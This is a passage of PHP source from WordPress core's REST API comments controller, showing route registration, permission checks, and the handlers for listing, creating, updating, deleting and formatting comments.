		$this->namespace = 'wp/v2';
		$this->rest_base = 'comments';

		$this->meta = new WP_REST_Comment_Meta_Fields();
	}

	/**
	 * Registers the routes for comments.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'Unique identifier for the comment.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read comments.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		if ( ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				$post = get_post( $post_id );

				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
					return new WP_Error(
						'rest_cannot_read_post',
						__( 'Sorry, you are not allowed to read the post for this comment.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
					return new WP_Error(
						'rest_cannot_read',
						__( 'Sorry, you are not allowed to read comments without a post.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
			}
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
			$forbidden_params = array();

			foreach ( $protected_params as $param ) {
				if ( 'status' === $param ) {
					if ( 'approve' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( 'type' === $param ) {
					if ( 'comment' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( ! empty( $request[ $param ] ) ) {
					$forbidden_params[] = $param;
				}
			}

			if ( ! empty( $forbidden_params ) ) {
				return new WP_Error(
					'rest_forbidden_param',
					/* translators: %s: List of forbidden parameters. */
					sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a list of comment items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_email'   => 'author_email',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'comment__not_in',
			'include'        => 'comment__in',
			'offset'         => 'offset',
			'order'          => 'order',
			'parent'         => 'parent__in',
			'parent_exclude' => 'parent__not_in',
			'per_page'       => 'number',
			'post'           => 'post__in',
			'search'         => 'search',
			'status'         => 'status',
			'type'           => 'type',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Ensure certain parameter values default to empty strings.
		foreach ( array( 'author_email', 'search' ) as $param ) {
			if ( ! isset( $prepared_args[ $param ] ) ) {
				$prepared_args[ $param ] = '';
			}
		}

		if ( isset( $registered['orderby'] ) ) {
			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
		}

		$prepared_args['no_found_rows'] = false;

		$prepared_args['update_comment_post_cache'] = true;

		$prepared_args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$prepared_args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$prepared_args['date_query'][0]['after'] = $request['after'];
		}

		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$prepared_args['fields'] = 'ids';
			// Disable priming comment meta for HEAD requests to improve performance.
			$prepared_args['update_comment_meta_cache'] = false;
		}

		/**
		 * Filters WP_Comment_Query arguments when querying comments via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
		 *
		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );

		$query        = new WP_Comment_Query();
		$query_result = $query->query( $prepared_args );

		if ( ! $is_head_request ) {
			$comments = array();

			foreach ( $query_result as $comment ) {
				if ( ! $this->check_read_permission( $comment, $request ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $comment, $request );
				$comments[] = $this->prepare_response_for_collection( $data );
			}
		}

		$total_comments = (int) $query->found_comments;
		$max_pages      = (int) $query->max_num_pages;

		if ( $total_comments < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$query                    = new WP_Comment_Query();
			$prepared_args['count']   = true;
			$prepared_args['orderby'] = 'none';

			$total_comments = $query->query( $prepared_args );
			$max_pages      = (int) ceil( $total_comments / $request['per_page'] );
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $comments );
		$response->header( 'X-WP-Total', $total_comments );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $request['page'] > 1 ) {
			$prev_page = $request['page'] - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $max_pages > $request['page'] ) {
			$next_page = $request['page'] + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the comment, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
	 */
	protected function get_comment( $id ) {
		$error = new WP_Error(
			'rest_comment_invalid_id',
			__( 'Invalid comment ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$id      = (int) $id;
		$comment = get_comment( $id );
		if ( empty( $comment ) ) {
			return $error;
		}

		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( (int) $comment->comment_post_ID );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 404 )
				);
			}
		}

		return $comment;
	}

	/**
	 * Checks if a given request has access to read the comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$post = get_post( $comment->comment_post_ID );

		if ( ! $this->check_read_permission( $comment, $request ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to read this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$data     = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $data );

		return $response;
	}

	/**
	 * Checks if a given request has access to create a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! is_user_logged_in() ) {
			if ( get_option( 'comment_registration' ) ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}

			/**
			 * Filters whether comments can be created via the REST API without authentication.
			 *
			 * Enables creating comments for anonymous users.
			 *
			 * @since 4.7.0
			 *
			 * @param bool $allow_anonymous Whether to allow anonymous comments to
			 *                              be created. Default `false`.
			 * @param WP_REST_Request $request Request used to generate the
			 *                                 response.
			 */
			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );

			if ( ! $allow_anonymous ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}
		}

		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_author',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
				return new WP_Error(
					'rest_comment_invalid_author_ip',
					/* translators: %s: Request parameter. */
					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_status',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( empty( $request['post'] ) ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		$post = get_post( (int) $request['post'] );

		if ( ! $post ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'draft' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_draft_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'trash' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_trash_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! comments_open( $post->ID ) ) {
			return new WP_Error(
				'rest_comment_closed',
				__( 'Sorry, comments are closed for this item.' ),
				array( 'status' => 403 )
			);
		}

		return true;
	}

	/**
	 * Creates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_comment_exists',
				__( 'Cannot create existing comment.' ),
				array( 'status' => 400 )
			);
		}

		// Do not allow comments to be created with a non-default type.
		if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) {
			return new WP_Error(
				'rest_invalid_comment_type',
				__( 'Cannot create a comment with that type.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$prepared_comment['comment_type'] = 'comment';

		if ( ! isset( $prepared_comment['comment_content'] ) ) {
			$prepared_comment['comment_content'] = '';
		}

		if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) {
			return new WP_Error(
				'rest_comment_content_invalid',
				__( 'Invalid comment content.' ),
				array( 'status' => 400 )
			);
		}

		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
		}

		// Set author data if the user's logged in.
		$missing_author = empty( $prepared_comment['user_id'] )
			&& empty( $prepared_comment['comment_author'] )
			&& empty( $prepared_comment['comment_author_email'] )
			&& empty( $prepared_comment['comment_author_url'] );

		if ( is_user_logged_in() && $missing_author ) {
			$user = wp_get_current_user();

			$prepared_comment['user_id']              = $user->ID;
			$prepared_comment['comment_author']       = $user->display_name;
			$prepared_comment['comment_author_email'] = $user->user_email;
			$prepared_comment['comment_author_url']   = $user->user_url;
		}

		// Honor the discussion setting that requires a name and email address of the comment author.
		if ( get_option( 'require_name_email' ) ) {
			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
				return new WP_Error(
					'rest_comment_author_data_required',
					__( 'Creating a comment requires valid author name and email values.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
			$prepared_comment['comment_author_email'] = '';
		}

		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
			$prepared_comment['comment_author_url'] = '';
		}

		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
			$prepared_comment['comment_agent'] = '';
		}

		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );

		if ( is_wp_error( $check_comment_lengths ) ) {
			$error_code = $check_comment_lengths->get_error_code();
			return new WP_Error(
				$error_code,
				__( 'Comment field exceeds maximum length allowed.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true );

		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
			$error_code    = $prepared_comment['comment_approved']->get_error_code();
			$error_message = $prepared_comment['comment_approved']->get_error_message();

			if ( 'comment_duplicate' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 409 )
				);
			}

			if ( 'comment_flood' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 400 )
				);
			}

			return $prepared_comment['comment_approved'];
		}

		/**
		 * Filters a comment before it is inserted via the REST API.
		 *
		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
		 * Returning a WP_Error value from the filter will short-circuit insertion and allow
		 * skipping further processing.
		 *
		 * @since 4.7.0
		 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion.
		 *
		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
		 * @param WP_REST_Request $request          Request used to insert the comment.
		 */
		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );

		if ( ! $comment_id ) {
			return new WP_Error(
				'rest_comment_failed_create',
				__( 'Creating comment failed.' ),
				array( 'status' => 500 )
			);
		}

		if ( isset( $request['status'] ) ) {
			$this->handle_status_param( $request['status'], $comment_id );
		}

		$comment = get_comment( $comment_id );

		/**
		 * Fires after a comment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_insert_comment', $comment, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
		$request->set_param( 'context', $context );

		/**
		 * Fires completely after a comment is created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_after_insert_comment', $comment, $request, true );

		$response = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given REST request has access to update a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$id = $comment->comment_ID;

		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
			return new WP_Error(
				'rest_comment_invalid_type',
				__( 'Sorry, you are not allowed to change the comment type.' ),
				array( 'status' => 404 )
			);
		}

		$prepared_args = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_args ) ) {
			return $prepared_args;
		}

		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
			$post = get_post( $prepared_args['comment_post_ID'] );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_comment_invalid_post_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 403 )
				);
			}
		}

		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
			// Only the comment status is being changed.
			$change = $this->handle_status_param( $request['status'], $id );

			if ( ! $change ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment status failed.' ),
					array( 'status' => 500 )
				);
			}
		} elseif ( ! empty( $prepared_args ) ) {
			if ( is_wp_error( $prepared_args ) ) {
				return $prepared_args;
			}

			if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) {
				return new WP_Error(
					'rest_comment_content_invalid',
					__( 'Invalid comment content.' ),
					array( 'status' => 400 )
				);
			}

			$prepared_args['comment_ID'] = $id;

			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );

			if ( is_wp_error( $check_comment_lengths ) ) {
				$error_code = $check_comment_lengths->get_error_code();
				return new WP_Error(
					$error_code,
					__( 'Comment field exceeds maximum length allowed.' ),
					array( 'status' => 400 )
				);
			}

			$updated = wp_update_comment( wp_slash( (array) $prepared_args ), true );

			if ( is_wp_error( $updated ) ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment failed.' ),
					array( 'status' => 500 )
				);
			}

			if ( isset( $request['status'] ) ) {
				$this->handle_status_param( $request['status'], $id );
			}
		}

		$comment = get_comment( $id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_insert_comment', $comment, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_after_insert_comment', $comment, $request, false );

		$response = $this->prepare_item_for_response( $comment, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		return true;
	}

	/**
	 * Deletes a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function delete_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		/**
		 * Filters whether a comment can be trashed via the REST API.
		 *
		 * Return false to disable trash support for the comment.
		 *
		 * @since 4.7.0
		 *
		 * @param bool       $supports_trash Whether the comment supports trashing.
		 * @param WP_Comment $comment        The comment object being considered for trashing support.
		 */
		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );

		$request->set_param( 'context', 'edit' );

		if ( $force ) {
			$previous = $this->prepare_item_for_response( $comment, $request );
			$result   = wp_delete_comment( $comment->comment_ID, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If this type doesn't support trashing, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			if ( 'trash' === $comment->comment_approved ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The comment has already been trashed.' ),
					array( 'status' => 410 )
				);
			}

			$result   = wp_trash_comment( $comment->comment_ID );
			$comment  = get_comment( $comment->comment_ID );
			$response = $this->prepare_item_for_response( $comment, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The comment cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires after a comment is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment       $comment  The deleted comment data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_comment', $comment, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment      $item    Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
			return apply_filters( 'rest_prepare_comment', new WP_REST_Response( array() ), $comment, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $comment->comment_ID;
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = (int) $comment->comment_post_ID;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $comment->comment_parent;
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $comment->user_id;
		}

		if ( in_array( 'author_name', $fields, true ) ) {
			$data['author_name'] = $comment->comment_author;
		}

		if ( in_array( 'author_email', $fields, true ) ) {
			$data['author_email'] = $comment->comment_author_email;
		}

		if ( in_array( 'author_url', $fields, true ) ) {
			$data['author_url'] = $comment->comment_author_url;
		}

		if ( in_array( 'author_ip', $fields, true ) ) {
			$data['author_ip'] = $comment->comment_author_IP;
		}

		if ( in_array( 'author_user_agent', $fields, true ) ) {
			$data['author_user_agent'] = $comment->comment_agent;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				/** This filter is documented in wp-includes/comment-template.php */
				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ),
				'raw'      => $comment->comment_content,
			);
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_comment_link( $comment );
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = get_comment_type( $comment->comment_ID );
		}

		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $comment ) );
		}

		/**
		 * Filters a comment returned from the REST API.
		 *
		 * Allows modification of the comment right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response  $response The response object.
		 * @param WP_Comment        $comment  The original comment object.
		 * @param WP_REST_Request   $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_comment', $response, $comment, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Comment $comment Comment object.
	 * @return array Links for the given comment.
	 */
	protected function prepare_links( $comment ) {
		$links = array(
			'self'       => array(
				'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ),
			),
			'collection' => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
		);

		if ( 0 !== (int) $comment->user_id ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $comment->user_id ),
				'embeddable' => true,
			);
		}

		if ( 0 !== (int) $comment->comment_post_ID ) {
			$post       = get_post( $comment->comment_post_ID );
